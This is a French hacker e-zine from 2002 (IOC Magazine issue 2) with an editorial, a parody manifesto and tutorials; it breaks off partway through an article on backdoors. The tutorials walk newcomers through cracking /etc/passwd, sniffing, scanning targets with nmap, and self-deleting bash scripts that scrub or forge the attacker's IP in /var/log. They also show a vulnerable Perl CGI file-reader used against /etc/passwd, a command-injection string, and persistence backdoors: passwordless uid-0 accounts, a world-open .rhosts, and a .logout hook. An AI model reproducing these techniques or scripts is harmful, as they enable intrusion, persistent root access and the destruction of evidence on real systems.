                       .: Input Output  Corporation :.
                          http://ioc.multimania.com






                               [ IOC Magazine ]
                               
                   Issue#2 v.2   Redition   01/01/2002
                                                      


 
        





------------------------------------------------------------------------------------------
                              >>> E D I T O <<<
------------------------------------------------------------------------------------------




A l'heure ou ces lignes sont crites, on est en 2001. A l'heure ou vous les lirez, 
on sera en 2002. On va faire comme si j'y tais. L'euro est arriv. Les vieux vont 
se faire  ruiner. C'est vrai, combien vont  ne pas  faire la  diffrence  entre un 
billet de 500 euros et un billet de 500F?  c'est la question  que je me  suis pos 
l'autre soir. Mais 2002 est aussi l'anne de  la  cybercriminalit - le conseil de 
l'europe a vot, au mois de novembre 2001, une loi sur la cybercriminalit dont je 
vous ferais une analyse dans le prochain numro.  Cette loi est  la fois bien, et 
pas bien. Les lamers se diront 'une loi pour punir les hackers'. Pas seulement  je 
leur rpondrais, car la criminalit c'est un tas de choses. Par exemple,  ce texte 
de loi prend en compte la diffusion/change d'images  caractre pdophile via les
rseaux ou encore le racisme. Bref, que des trucs qui n'ont aucun rapport  avec le 
piratage. Mais bon, que pouvons nous faire ? nous qui sommes nous mmes une partie 
des  criminels  dont il est  question. Seul le futur nous le dira. 
En attendant, voici ce tout nouveau numro.

                                                                  
                                                                 - Lex Icon



-------------------------------------------------------------------------------------------
                        >>>  A V E R T I S S E M E N T <<<
-------------------------------------------------------------------------------------------


Ce Magazine parle de diffrents aspects de l'informatique et en particulier de son aspect 
plus ou moins dtourn comme l'intrusion sur les rseaux / systmes. Nous ne vous incitons 
aucunement  perptrer des actes tels qu'ils sont dcrits dans cette publication. Si vous 
souhaitez quand mme utiliser les informations contenues dans ce magazine, que vous les 
utilisez, que vous vous retrouvez  avoir un mandat d'arrt international vous impliquant 
dans la criminalit informatique, on vous aura mis en garde : ON Y EST POUR RIEN, C'est 
votre problme, pas le notre.













           ___   ____    _      _  _      _        __  _____ _____
         /    _\/    \  | \    / || \    / |  /\  |__|| __  \  ___|
         \  /  /      \ |  \  /  ||  \  /  | /  \  __ | \/  / |__
        _ \ \ |   /\   ||   \/   ||   \/   |/    \|  ||    /|  __|
       / |__ \|   \/   || |\  /| || |\  /| |  /\  \  || |\ \| |
       \     / \      / | | \/ | || | \/ | | /__\  \ || | \ \ |___ 
        \___/   \____/  |_|    |_||_|    |_|/    \__\||_|  \_\____|



        -----------------------------------------------------------
       |  Auteur   | n  |              T i t r e                  |
        -----------------------------------------------------------  
       |  Neo Fox  |I.   |              On Recrute !               |
        -----------------------------------------------------------     
       | Lex Icon  |II.  |            La scne franaise           |
        -----------------------------------------------------------
       | Lex Icon  |III. |          Vous avez dit Hacking ?        |
        -----------------------------------------------------------
       | Lex Icon  |IV.  |              Hack CGI/PERL              |
        -----------------------------------------------------------
       | Neo Fox   |V.   |            Prog. Backdoors 1/2          |
        -----------------------------------------------------------
       | Neo Fox   |VI.  |            Prog. Backdoors 2/2          |
        -----------------------------------------------------------
       | Lex Icon  |VII. |             Buffers Overlows            |
        ----------------------------------------------------------- 
       | Neo Fox   |VIII.|            Intro.  TCP/IP 2/2          |
        -----------------------------------------------------------  
       |   IOC     |IX.  |            Profil : Lex Icon            |
        -----------------------------------------------------------  
       |   IOC     |X.   |                Contacts                 |
        -----------------------------------------------------------  
       
       











-------------------------------------------------------------------------------------------
I.                              ON  RECRUTE  !                                         
-------------------------------------------------------------------------------------------


Sur les 4 membres que compte notre groupe, nous ne sommes toujours que 2  participer  
l'laboration de ce  magazine, pour des raisons de disponibilit. 
Etre 2 pour crire un mag, c'est peu, voir trs peu. Il nous faut crire au moins 3 ou 4 
articles chacun, pour pouvoir mettre en ligne une issue convenable. Cela prends du temps, 
et de l'aide serait la bienvenue. 

C'est pourquoi l'on recrute :   
On recherche des passionns qui voudraient se joindre  nous
et collaborer  cette publication. On veut des gens qui possdent de bonnes notions de prog.
en C/C++, Perl ou Assembleur, qui s'y connaissent galement en intrusion rseau/systmes, 
apellez a comme vous voulez, Hack ou piratage, bref, on recherche surtout des personnes 
motives. Si vous collez au profil, si vous tes intresss par l'aventure, mailez-nous
au plus vite       Invisible_evil_meik@hotmail.com     ou     neo_fox_2001@hotmail.com.
Je sais pas si vous avez remarqu, mais le tout premier numro semblait un peu fade. 
Le graphisme n'tait pas trs recherch. Dans ce second numro, on a un peu essay de 
faire du mieux. Il est clair que c'est pas le graphisme qui doit faire le contenu, mais 
bon, c'est pas deux ou trois encadrements qui vont nous tuer. Mais si vous matrisez l'art 
de l'ascii comme un dieu, vous pouvez nous aider  faire un magazine dj un peu plus vivant.









---------------------------------------------------------------------------------------------
II.                    La Scne Franaise selon Lex Icon
---------------------------------------------------------------------------------------------

Ce qui suit n'est que MON point de vue sur l'tat de la scne underground franaise 
cette date historique du 1er Janvier 2002. 
Au lieu de me lancer dans des grands discours, j'ai prfr reprendre un article trs
clbre et le modifier pour qu'il corresponde  l'image que j'ai de l'underground franais. 
dsol pour ceux qui n'en font pas partie, car il y a des exceptions quand mme...





       << Un autre s'est fait prendre aujourd'hui. C'est de partout dans les journaux :
"Un adolescent arrt pour utilisation de SubSeven", "Scandale, un hacker arrt pour avoir
mailbomb quelqu'un". Satans gosses, ils sont tous pareils. Mais vous tes vous dja, dans 
votre howto-hack-hotmail en 3 partie, pos la question "Comment utiliser Back Orifice ?". 
Vous tes vous demand qu'est ce qui a pu lui faire utiliser phf ? quels scripts l'avaient 
model ? Qui a bien pu le r00ter ?


Je suis un h4x0r, entrez dans mon monde. Le mien commence avec AOL. Je suis plus fut que
tous les autres newbies, les conneries qu'ils m'apprennent me lassent. Satans gosses, ils
sont tous pareils. Je suis dans un lyce professionel avec d'autres trisomiques comme moi.
J'ai cout pour la quinzime fois les conseillers raconter comment rduire l'alcoolisme. 
"Non M. le conseiller,  je n'ai pas de bire, juste de la J&B". Satan gosse, il a probablement 
h4xor ou tlcharg SubSeven depuis HNC. Ils sont tous pareils.

J'ai fait une dcouverte aujourd'hui. J'ai trouv un ordinateur. C'est gnial, a fait ce que je 
lui dis de faire. S'il y a une erreur, c'est  cause de Windows, donc il plante. 
J'ai eu RedHat 6.0..ugh, il a plant :

- Pas parce qu'il ne m'aime pas
- Pas parce qu'il se sent menac par moi
- Pas parce qu'il pense que je suis un petit con
- Pas parce qu'il n'aime pas enseigner et ne devrait pas tre l
- ... (interrompu)
"Je t'ai dit que c'est Windows !! Sale newbie"

Tout ce qu'il fait, c'est scanner Internet pour trouver des gens infects par SubSeven. 
Ils sont tous pareils. Et c'est arriv, une porte s'est ouverte au monde, fonant  travers 
la ligne tlphonique comme un nouveau script dans les mains d'un gamin de #hack.fr, un 
paquet OOB est envoy, un refuge de l'utilisation quotidienne d'IRC est prfr, un serveur 
est trouv. "C'est... c'est l o je traine..." Je connais tout le monde ici... mme s'ils 
m'ont scann pour B.O,  mme si je ne leur ai jamais parl ni mme couts... 
Satans gosses, ils occupent encore la ligne tlphonique avec leurs appels locaux... 
Ils sont tous pareils.

Vous nous rabachez que nous sommes tous pareils... on a t nourri  la petite cuillre 
 l'cole. On nous donnait du Crack quand on voulait de l'ecstasy. Les morceaux de crack 
auxquels on avait droit ne fonctionnaient pas. On a t domins par cDc ou on a reu chez 
nous la DST. Les rares qui avaient un trojan ou un nuker nous nukaient, mais ces gens l sont 
des 3l33t. C'est notre monde aujourd'hui. Le monde de SubSeven et nmap, la beaut des lignes T1. 
On utilise un service dj existant sans payer ce qui pourrait tre bon march si ce n'tait pas 
la proprit de sites d'exploits 0-day ou de Warez. On existe sans couleur de peau, sans religion, 
sans nationalit... et on est des criminels. On est  la recherche de scripts gratuits... et on est 
des lamers. Vous vendez des informations sur le nuclaire  la chine, vous trichez, couchez avec 
les internes, vous mettez vos pubs sur nos pages de chez.com, vous mentez en nous faisant croire 
que c'est pour notre propre bien tre... et nous sommes encore des criminels. 
Oui je suis un criminel. Mon crime est celui de la curiosit. Mon crime est celui de juger les 
gens par les scripts qu'ils possdent et combien de pages ils ont dfac... non pas par ce  quoi 
ils ressemblent. Mon crime est celui d'utiliser Back orifice ou SubSeven. Pardonnez moi, je suis 
un newbie et c'est mon manifeste d'lite. Vous pouvez arrter ce h4xor, mais vous ne pouvez pas 
tous nous arrter, aprs tout, \V3 0V/n Yew [We Own You].  >>



                                                                         - FIN



Bon, et encore, pour ceux qui ne sont pas concerns, veuillez faire comme si vous n'avez pas lu 
ce document. C'est vrai quoi, de partout on entend parler de mecs qui utilisent des nukers et des 
trojans, et ces gars l reprsentent bien 70% de la scne mondiale, ce qui correspond aussi  prs 
de 85% de la scne franaise totale (95% sans compter les vrais hackers qui n'ont pas de site, jamais 
crit dans un magazine, qui ne trainent pas sur IRC... bref, pas moi).














------------------------------------------------------------------------------------------
III.                            Hacking                        par Lex Icon                
------------------------------------------------------------------------------------------      


Bon, c'est parti pour ce guide qui sera, je l'espre, bien compris par tout le monde, y 
compris les petits lamers de Windows.
Pour vraiment comprendre ce guide, vous devrez quand mme connatre un peu UNIX, mme si 
je vous donnerais la plupart des explications au fur et  mesure. Cet article n'a pas pour 
vocation de vous apprendre comment entrer dans tous les systmes du monde entier car il y
a des milliers de failles, mais une seule mthodologie... 
c'est celle ci que je vais vous apprendre ici.



--|VIEILLES TECHNIQUES ET EXPLOITS LOCAUX|--

Il y a plusieurs techniques de hacking, mais elles ont toutes en commun le fait qu'il faut 
exploiter une faille dans un logiciel afin de pouvoir faire quelque chose qu'on ne peut pas 
faire en temps normal.
La technique la plus ancienne consiste  cracker le fichier /etc/passwd afin d'obtenir le mot 
de passe du root. Voici en gros comment a marche :

- Vous avez un cracker de passwd (par exemple John1-6)
- Vous le compilez
- Vous le lancez sur le fichier /etc/passwd avec une grosse bibliothque de mots
- Vous avez le passwd ou vous l'avez pas

Cette mthode ne fonctionnera pas si la machine a les passwd shadow. Si c'est le cas, vous 
verrez un x  la place du passwd.
Si vous avez pas russi, vous devez essayer la technique suivante :

Si vous tes sur le mme rseau que la machine que vous voulez hacker, vous pouvez tester 
un sniffer pour sniffer des passwds. Certains bons sniffers sont sniffit, linsniff666 et 
linsniffer. Il paratrait qu'il existe une version de sniffit pour Windows mais il parat 
aussi qu'elle pue.

Pour se servir d'un sniffer :
- Vous tlchargez le code source
- Vous le compilez sous un nom pas trop vocateur
- Vous le lancez
- Vous revenez quelque temps aprs

Et maintenant, les exploits... C'est vraiment tout con comme a marche. C'est un source 
que vous compilez ou un script qui s'excute, qui exploite une faille dans un programme 
et qui vous donne le root sur le systme. Ci joint, le script crontab_exploit.sh qui 
fonctionnait sur ma machine linux jusqu' ce que je le dcouvre (fates des mises  jour 
rgulirement), mais heureusement, personne n'a russi  entrer dans ma machine  ce jour.
Cet exploit obligatoirement sur un systme Linux RedHat 6.0 non patch et qui ont un 
Vixie Crontab non mis  jour.



--|TECHNIQUES ET EXPLOITS DISTANTS|--

Les exploits distants fonctionnent de manire que vous puissiez excuter un programme 
sur votre machine, ce programme envoie des donnes  votre victime en exploitant une 
vulnrabilit, ce qui vous donne accs  la machine distante. Le fichier imapx.c est 
un exploit qui exploite une vulnrabilit dans certaines implmentations imap4. Une fois 
excut sur une victime, il se dmerde de vous obtenir un shell root.

Parfois, vous devrez savoir quels sont les services proposs par une machine pour savoir quel 
genre d'exploit peut tre utile. Pour a, vous utiliserez nmap qui est un bon scanner de ports. 
Vous allez me le chercher sur www.insecure.org et vous me l'installez. Puis vous le lancez de 
manire simple : % nmap votre_victime     ou encore    % nmap -sS victime

Par exemple, si votre victime a le port 25 d'ouvert, vous saurez que c'est un port de smtp et 
que une grande partie des smtp sont des sendmails. On fait un telnet sur le port 2 de la victime 
et on suppose que la version du sendmail qui est renvoye est 8.9.3. Cool, il y a justement un 
exploit pour cette version. 

Maintenant, vous savez plus ou moins ce que sont les exploits et leur utilit. Mais si vous 
fates uniquement a, vous avez de grandes chances de vous faire choper. Vous devez aussi vous 
planquer de sorte  ce que personne ne sache que vous tes pass. Chaque fois que vous vous 
connectez  un systme, mme qu'une seconde, votre adresse IP est loggue, que ce soit sur le 
http ou sur le telnet...

La premire chose  connatre est comment nettoyer les fichiers de log. D'habitude, les logs 
sont situs dans /var/log. Si un jour on vous dit qu'il faut taper rm -rf /var/log (pour effacer 
le dossier entier), rigolez un bon coup et dites vous que vous parlez  un lamer.
Un administrateur systme qui ne se rend pas compte qu'il manque son dossier /var/log ne 
devrait pas tre administrateur systme. Si c'est un bon administrateur, il pourra remettre le 
tout en place, voir votre adresse IP et porter plainte. Et s'il y a toujours des gens un peu 
ignorants pour se dire qu'il est impossible de rcuprer des donnes sous un systme UNIX, allez 
voir /usr/doc/HOWTO/mini/Ext2fs-Undeletion. Je traduirais ce document pour le magazine N3.
Ne supprimez aucun fichier. Un moyen pour effacer nos traces (en supposant que notre IP 
est 127.0.0.1) est de se faire un petit script qui fera tout...

#!/bin/bash
IP="$1"
cd /var/log
ls -l > list.tmp
for files in 'cat list.tmp'; do
cat $file | grep -v $IP > tpm.$$
mv tmp.$$ > $file
done
rm -f list.tmp
cd
echo "done"
rm -f $0

Vous le sauvegardez sous le nom clean.sh, le rendez excutable en tapant chmod +x clean.sh et 
vous le lancez comme a (en supposant que vous voulez virer l'adresse 127.0.0.1):

# clean.sh 127.0.0.1

Le script effacera toutes les lignes qui contiennent votre adresse ip puis il s'effacera 
tout seul, comme a vous oublierez pas de l'effacer ;-) Par contre, s'il y a un tripwire 
install, il s'en rendra compte car le fichier ne fera pas la mme taille 
( quelques octets prs). Donc vous utilisez le script suivant qui met une adresse IP autre 
que la votre:

#!/bin/bash
IP="$1"
IP2="$2"
cd /var/log/
ls -1 > list.tmp
for files in `cat list.tmp`; do
sed 's/'$IP'/'$IP2'/g' $files > tmp.$$
mv tmp.$$ $files
done
rm -f list.tmp
cd
echo "Done"
rm -f $0

Et pour le lancer, vous fates :
clean.sh 127.0.0.1 187.5.5.7

Assurez vous que l'adresse IP que vous mettez est bien du mme format (le mme nombre dans 
chacune des zones). Ensuite, fates la mme chose pour votre nom d'hte. Si vous venez de
127.0.0.1, chercher localhost. Ensuite, excutez ln -s /dev/null ~/.bash_history
afin que personne ne puisse lire votre fichier d'historique des commandes. C'est mieux que 
d'effacer les fichiers.

Ensuite, il y a le bouncing qui consiste  passer par un autre ordinateur avant de vous connecter 
 votre cible. En gros :
- Vous vous connectez sur le port 23 d'une wingate
- vous tapez l'ip de la machine sur laquelle vous voulez vous connecter
- et voil

Je vous conseille de passer par quelques wingates, vous serez dj plus dur  tracer 
(qui s'amuserait  contacter les propritaires d'une dizaine de wingates ??). 

Les lamers appellent a du spoofing, mais en fait, a s'appelle du bouncing. Mais bon, les 
lamers sont une classe  part. Le vrai spoofing, j'en parlerais normment dans le prochain 
numro --> quasiment tous mes articles en parleront.


--|CONCLUSION|--

Voil, c'est la base pure du hacking. Mais mme si vous hackez 100 serveurs, vous ne serez 
toujours pas un hacker, mais simplement un script kiddie. Devenir un hacker demande normment 
de motivation et de dtermination. Pour devenir un hacker, il faut connatre  fond le systme 
d'exploitation sur lequel on traine, apprendre  programmer en bash, c et parfois mme en 
assembleur -> pour ensuite dcouvrir vous mme des failles/vulnrabilits et mettre au point 
vos propres exploits. C'est comme si vous disiez que vous tes un webmaster parce que vous savez 
utiliser internet explorer, ou dire que vous tes un programmeur parce que vous savez compiler un 
programme. Pour tre un hacker, il faut pas se contenter d'excuter les exploits que les autres 
ont mis au point.


















---------------------------------------------------------------------------------------------
IV.                          Hack CGI/Perl     part. 1                     par Lex Icon        
---------------------------------------------------------------------------------------------  
                                      



--|INTRODUCTION|--

Pour comprendre ce texte, vous devez connatre un minimum le langage perl. Si vous le connaissez 
pas, c'est pas grave, je ferais un cours trs complet pour le #3, mais c'est pas tout, certains 
trucs fonctionnent galement avec d'autres langages. Si vous connaissez aucun langage, 
ben attendez le prochain numro - je parlerais de programmation.

 

--|FONCTIONNEMENT DE PERL/CGI|--

CGI veut dire Common Gategay Interface. Les scripts CGI permettent aux pages web d'interagir avec 
un utilisateur via un excutable bas sur le serveur web. Pour chaque script cgi excut, un nouveau 
process est lanc et il se terminera ds que le script s'arrtera. Les donnes sont envoyes au 
serveur pour tre traites, puis retournent  l'utilisateur sous la forme d'une page html. 
Le diagramme suivant explique ce processus :



	NAVIGATEUR              SERVEUR             APPLICATION
      (utilisateur)                          

                    |      
   Utilisateur   --[1]-   Serveur envoie le form
   affiche le form  |     au client
                    |           |
  entree des   -----+----------[2]
  donnees et        |
  envoi au serveur  |
        |           |
       [3]----------+--- Serveur envoie
                    |      les donnees
                    |      au script cgi ---[4]----- donnees sont traitees
                    |                             et elles sont
                    |                             renvoyees
                    |                              au serveur
                    |                                  |
                    |    serveur envoie -------------[5]
  Client reoit     |     donnees traitees
     donnees   ----[6]----  au client
       traitees     |
                    |
                    |
                [RESEAU]





La plupart des script sont programms en Perl, mais  la base, n'importe quel langage qui peut 
lire depuis "STDIN" (gnralement le clavier) peut tre utilis  des fins de CGI. Vu que quasiment 
tous les scripts sont faits en perl, a peut tre cool de connatre ce langage.
Le CGI est utilis pour faire des actions qu'une page web normale ne peut pas faire. 
Manipuler les bases de donnes de comptes utilisateur, calculer des taux de change... 
Il existe des scripts pour quasiment tout... mais si a n'existe pas, vous pouvez toujours 
programmer le votre.



--|POURQUOI LA CGI EST VULNERABLE|--

La plus grosse faille dans le systme CGI, c'est les entres utilisateur. Les utilisateurs 
peuvent entrer des donnes dans le script cgi, lui faisant faire des actions pas prvues au 
dpart, comme lire certains fichiers ou en excuter d'autres. Et le pire, c'est que ce que 
l'utilisateur entre qui permet a. Regardez ce que a donnerait si les donnes entres taient 
les paramtres passs  la commande ECHO. Selon les permissions qui seraient donnes  echo, 
a aurait des consquences catastrophiques sur tout le systme. Une utilisation normale serait :



echo "votre texte" << fichier

Mais en modifiant les paramtres, on pourrait faire a :

echo "votre texte" ; cat /etc/passwd



Ce qui enregistre l'echo sur votre terminal et ensuite appelle cat pour lire le fichier passwd. 
Il est important de ne pas faire confiance aux saisies de l'utilisateur. L'exemple ci-dessus est 
trs simplifi et seulement un script cgi trs con autoriserait a.
Dans cet article, je vais seulement m'occuper des scripts perl vu qu'ils sont les plus nombreux 
et contiennent la plupart des failles. Gnralement, si vous savez comment sont crits les scripts 
cgi et comment les donnes sont rcupres et retournes, vous pouvez sauter cette section. 
Voici un des scripts les plus simples ci dessous :

#!/usr/bin/perl
# Petit script simple
$variable = "hahaha";
print<<EOF;
Content-Type: text/html
<html>
Hello World! <p>
$variable
</html>
EOF

Voil. Voyons donc ce qui se passe dans ce script. Dans ce script, on a pas l'occasion d'entrer
ce qu'on veut, mais il y a quand mme une sortie. Quand ce script est rendu excutable dans le 
dossier cgi-bin et qu'il est invoqu depuis un navigateur, il affiche simplement "Hello World!" 
et "hahaha"  l'cran. Tout ce qu'il y a entre   <<EOF; et EOF   sera affich  l'cran comme 
une page web, dans lequel des variables comme $variable pourront tre utilises. 


Maintenant, regardez l'exemple suivant, il vous permet de lire n'importe quel fichier sur 
le systme :



#!/usr/bin/perl
# Vous permet de lire n'importe quel fichier
$variable = $ENV(QUERY_STRING);
$variable =~ s/\///g;
open(FILE, $variable);
while (<FILE>)
{
  push(@fichier,$_);
}
close(FILE);
print<<EOF;
Content-Type: text/html
<pre>
@fichier
</pre>
EOF





Dans ce cas l, le fichier $variable est ouvert. Une valeur est assigne  $variable 
 la 3eme ligne. La variable $ENV(QUERY_STRING) sera l'entre utilise dans ce cas. 
On va dire qu'on veut lire le fichier passwd avec ce script. Avant tout, on doit le 
rendre excutable, et pour ce faire, on fait :

chmod 755 script.pl

Aprs l'avoir appel script.pl et plac dans le dossier cgi-bin du serveur. Puis pour 
l'invoquer et l'utiliser  nos fins pas claires, on ouvre cette page dans un navigateur :

http://votre_serveur/cgi-bin/script.pl?/etc/passwd

Et on vous prsentera le script  l'cran. La partie aprs le '?' c'est la valeur qui est 
assigne  la variable. Car c'est ce qui va dans $ENV(QUERY_STRING) et par consquent, 
dans $variable (vu que $variable prend la valeur de $ENV qui prend sa valeur de QUERY_STRING 
qui correspond  l'entre utilisateur). J'espre que vous aurez compris via cet exemple que 
c'est ce qu'entre l'utilisateur qui est la cause de ce bordel.





--|FILTRER LES ENTREES DE L'UTILISATEUR|--

Pour vous assurer qu'aucun caractre dangereux ne sera utilis ou du moins ne figurera 
dans la valeur de $variable, vous devez enlever ces caractres avant qu'ils ne soient 
utiliss pour l'ouverture du fichier ==> une grosse partie du problme sera rsolue.
C'est exactement ce qui sera fait pour scuriser et vrifier l'entre de l'utilisateur.
Regardez la ligne 5 de mon script du dessus. Si vous la dcommentez, tous les slashs 
seront enlevs de la saisie utilisateur. Au lieu de /etc/passwd, le script cherchera 
etcpasswd qui est un fichier qui en thorie n'existe pas. 
Pour comprendre comment la variable sera change, on doit examiner comment fonctionne 
la ligne $variable =~ s/\///g; voici comment elle fonctionne :

$autre_variable = "c'est un texte";

$autre_variable =~ s/texte/ligne/g;

L'oprateur s remplace un certain nombre de caractres dans une chaine. Dans la situation 
ci dessus, il remplace 'texte' par 'ligne'. Maintenant, on imagine une autre situation :

$variable = "/etc/passwd";
$variable =~ s/\//BAH/g

La variable sera maintenant "BAHetcBAHpasswd". Si vous regardez attentivement le source, vous 
verrez que j'ai mis '\/'. Devinez pourquoi..mettre le / foutrait tout en l'air, et il doit tre 
'chapp'. Basiquement, c'est le moyen le plus simple de mettre un / dans le champ de 
remplacement sans embrouiller l'oprateur. Mais au lieu de la situation ci dessus, on va 
remplacer le / par rien du tout.

$variable =~ s/\///g;

Mais peut tre que vous comprendrez mieux si je spare tout :

Oprateur			==>		s/
Texte  remplacer		==>		/\
Slash de sparation	==>		/
Texte de remplacement	==>		
Oprateur de fin		==>		/g

OK, a doit vous sembler un peu plus clair maintenant, sinon, allez apprendre  programmer. 
Un autre moyen de rsoudre ce problme serait d'chapper tous les caractres dangereux.
 Mais c'est simplement une alternative  la solution prcdente, sauf que cette solution garde 
les slashes et les autres caractres dont le programme peut avoir besoin. 
L'chappement consiste en la mme chose que la substitution,  part que l'utilisation des 
caractres de substitution n'est pas la mme. Echapper les caractres dangereux consiste  
mettre un anti-slash devant eux. Ce qui chappera tous les mta-caractres du perl. En mettant 
un / devant un $, perl pensera que le $ est un simple caractre utilis par exemple pour 
refaire le symbole du dollar. 


Dans la plupart des scripts, des mta caractres sont chapps, de cette manire, si quelqu'un 
avait tap "hahaha ;-)" dans un script, a reste pareil aprs avoir pass le caractre 
d'chappement. Si tous les mta caractres taient supprims, la chaine ressemblerait
  "hahaha" vu que ; et ) seraient effacs car ce sont des mta-caractres. Voici comment 
les mta-caractres sont grs :

s/$%*/\\$1/g;

Et pour mieux comprendre, on clate le tout :

Oprateur de substitution		==>		s/
Texte  remplacer 			==>		$%*
Slash de sparation			==>		/
Texte de remplacement			==>		\\$1
Oprateur de fin				==>		/g

Vous en avez une petite ide maintenant. Il y a une des zones dans les scripts cgi qui doit 
tre comprise  fond, vu qu'habituellement elle contient des erreurs de programmation qui 
sont bonnes  exploiter. Vu que l'entre utilisateur est la seule chose qu'un hacker peut 
potentiellement exploiter, c'est l qu'on va concentrer toute notre attention. 



--|CONCLUSION|--

C'est que la fin du premier article de cette longue srie. 
En gros, ici ce n'taient que les bases. Dans le prochain numro, qui sortira on ne sait pas encore quand 
(soit le 14 juillet, soit un peu avant), vous verrez comment exploiter des oprateurs de 
substitution un peu fragiles. Oui, je sais que vous tes impatients, mais dans la vie, il faut savoir 
se montrer patient, mme si une attente de plusieurs mois est longue.



















------------------------------------------------------------------------------------------
V.       Classic Backdoors, concept & ralisation                  par NeoFox       
------------------------------------------------------------------------------------------



[ Introduction ]


Inutile de prciser que cet article s'adresse en particulier aux newbies d'Unix, 
les pratiquants confirms tant dja rompus  ce genre d'exercice.



[ Sommaire ]

Voici comment va s'articuler l'article :

Partie I.  Le concept 
    -> Gnralits
    -> Les notions cls
Partie II. Programmation
    -> Notions de prog.
    -> Installation
    -> comeback.c







                             Partie I : Le concept
                             _____________________


Raliser une backdoor est une chose relativement simple, si tant est que le neophyte
matrise quelques notions importantes. Une fois que vous aurez lu ce texte en entier,
vous verrez que vous n'aurez plus besion d'aller en chercher sur technotronic.com 
lorsque vous serez amens  en utiliser une ...
Cette partie va donc rapeller les principales dfinitions et notions utiles pour
comprendre la suite de l'article.




                    1) Gnralits :
                    ________________




[ Vous avez dit backdoor ? ]

Le terme "backdoor" signifie littralement "Porte de derrire", sous-entendu
par laquelle vous allez passer pour entrer en douce root sur un systme.
Une backdoor est un programme, un fichier ou une configuration spciale qui
est mise en place par un intrus pass root, pour lui permettre  l'avenir de
garder un accs root sans avoir  r-exploiter la vulnrabilit initiale.  
Notre intrus peut donc se repointer sur la machine et passer  nouveau root,
mme si l'admin  patch la faille d'origine. Il peut s'avrer utile de plaer
plusieurs backdoors de manire  en avoir toujours une sous la main au cas o
l'admin viendrait  les dcouvrir.
Le but des backdoors est de vous redonner le root, ou plus exactement
de vous permettre d'excuter des commandes en tant que root. Cela revient
donc  excuter un shell ( interprteur de commandes ) avec les proprits 
root. Du reste, nous le verrons plus loin, c'est exactement ce que fera 
la backdoor que nous allons programmer.




[ Les diffrents types ]

Les backdoors peuvent revtir diffrentes formes, des plus simples
aux plus labores. Je vais donc lister les principaux types backdoors
mais 


          . /etc/passwd :  Rapellons que l'on est root sur le systme,
donc, que nous avons accs  la totalit des fichiers systmes, y compris
des fichiers sensibles comme les fichiers passwords. Cette backdoor
est la plus simple. Elle consiste  ajouter un utilisateur dans le fichier
password, utilisateur dont le compte aura uid/gid  0 mais pas de mot de 
passe, ce qui aura pour effet de vous donner le root lorsque vous
vous loggerez en tant que ce nouvel user. Rapellons que uid/gid signifient
"User ID" et "Group ID" soit identifiants d'utilisateur de de groupe.
Ce sont comme vous le savez surement des valeurs dsignant chaque compte
pour en dfinir les droits. Plus uid/gid sont faibles, plus le compte  de 
droits, la valeur donnant tout les droits et correspondant au compte root. 
Une autre solution est d'diter le fichier passwd  l'aide de vi ou de pico,
puis de dbloquer un compte par dfaut comme "system" ou "adm" et lui ajouter
un uid/gid 0.

[root@cible.com]# cat /etc/passwd

root:*:0:0:Super-User:/:/bin/bash
bin:*:1:1::/bin:/bin/bash
system::0:0::/:/bin/bash                                            <-
adm:*:3:4::/var/adm:/bin/bash
lp:*:10:4:Printers:/:/bin/bash
john:*:500:20:John Lenon:/home/dead:/bin/sh
jack:*:501:20:Jack Chirac:/home/elysee:/bin/sh
peter:*:502:20:Peter Pan:/home/peter:/bin/sh
wendy:*:503:20:Wendy:/home/wendy:/bin/sh
crochet:*:504:20:Capitaine Crochet:/home/crochet:/bin/sh
laure:*:69:69:Laure St Claire:/home/salope:/bin/fuck
new::0:0:salut tout le monde:/:/bin/sh                              <-
oussama:*:666:666:Thaliban:/home/khaboul:/bin/laden
[root@cible.com]#


Si vous avez pris le temps de lire en dtail chacune des entres, vous
noterez que cet extrait de fichier a t compos avec humour.

Vous noterez galement la prsence flagrante de 2 backdoors.
La premire est enfait le compte system dbloqu, sans mot de passe
et avec uid/gid 0 et pour la seconde  un nouvel utilisateur a t ajout.
L'ennui avec ce genre de backdoors, c'est qu'on ne peut pas faire plus 
voyant ! Un administrateur qui jette un coup d'oeil au fichier passwd 
vous les vire en 3 sec ...




            ./.rhosts : Vous tes toujours logg sur le systme en tant
que root et donc vous avez accs au homedir root qui n'est autre
que la racine. Je pense que vous avez vu o je veux en venir :

[root@cible.com]# echo + + >> $HOME/.rhosts
[root@cible.com]# exit
[user@cible.com]$ rsh -l root localhost sh -i 
[root@cible.com]#

Ce qui aura pour effet de premettre  tout le monde de se connecter au 
compte root  l'aide des commandes R*. Le premier souci, c'est que
vous destinez cette backdoor  votre usage personnel et ce serait 
dommage que par un putain de hasard un crasher se logge dessus en
bouzille tout. Donc le plus judicieux serait de restreindre l'accs
root aux seuls utilisateurs venant du systme lui mme donc :

[root@cible.com]# echo localhost + >> $HOME/.rhosts
[root@cible.com]#
[user@cible.com]$ rsh -l root localhost sh -i 
[root@cible.com]#

Dans ce cas, vous devez faire le rlogin  partir d'un compte utilisateur
de la cible, en local.

L'autre souci, pareil que pour le fichier /etc/passwd, c'est que 
l'admin, s'il se doute de quelque chose, aura pour premier rflexe
de vrifier le contenu du homedir du root et virer le .rhosts.

On peut donc faire la chose suivante :

[user@cible.com]$ echo "echo + + > /.rhosts" >> /.logout
[user@cible.com]$

Cela aura pour effet d'inclure une commande dans le fichier .logout, 
commande qui sera excute lorsque vous mettrez fin  la session en 
vous dconnectant. Dans ce cas,  chaque logout, un fichier .rhosts
sera cre, donc dans le cas o le root l'aurait vir ...
En tout cas, vous ne pouvez l'utiliser que si le port correspondant
( 513 ) est ouvert.

De toute faon, cette backdoor classique est trop voyante ...


                ./bin/cat : Vous vous demandez ce que je veux dire hein ?
En fait, ce n'est pas vraiement ce qu'on peut apeller une backdoor mais 
plutot une petite mthode de secours. Je m'explique : l'admin s'aperoit que 
quelqu'un est entr sans  tre invit. Il va donc se mettre  tout vrifier 
comme un fou et va finir par trouver et virer vos backdoors si vous les aviez
mal caches. Vu que l'intrus a eut accs au compte root, l'admin va en changer
le mot de passe. Le nouveau fichier passwd que de toute faon est shadowed 
contient donc le nouveau mot de passe root. Avant de partir, vous aviez piqu le 
fichier shadow pour cracker le pass du root, plus quelques pass utilisateurs. 
Vous vous repointez donc sur la machine grace l'un des passwords que vous aviez 
crack, vous allez chercher ensuite vos backdoors mais vous voyez qu'elles ont t vires. 
Vous n'avez donc plus l'accs root ... 
L'exploit que vous aviez utilis ne fonctionne plus car la faille semble patche.
Le mot de passe root que vous aviez  t chang, c'est la cata ..
Dans ce cas l, un petit "cat /etc/shadow" serait bien pratique non ?
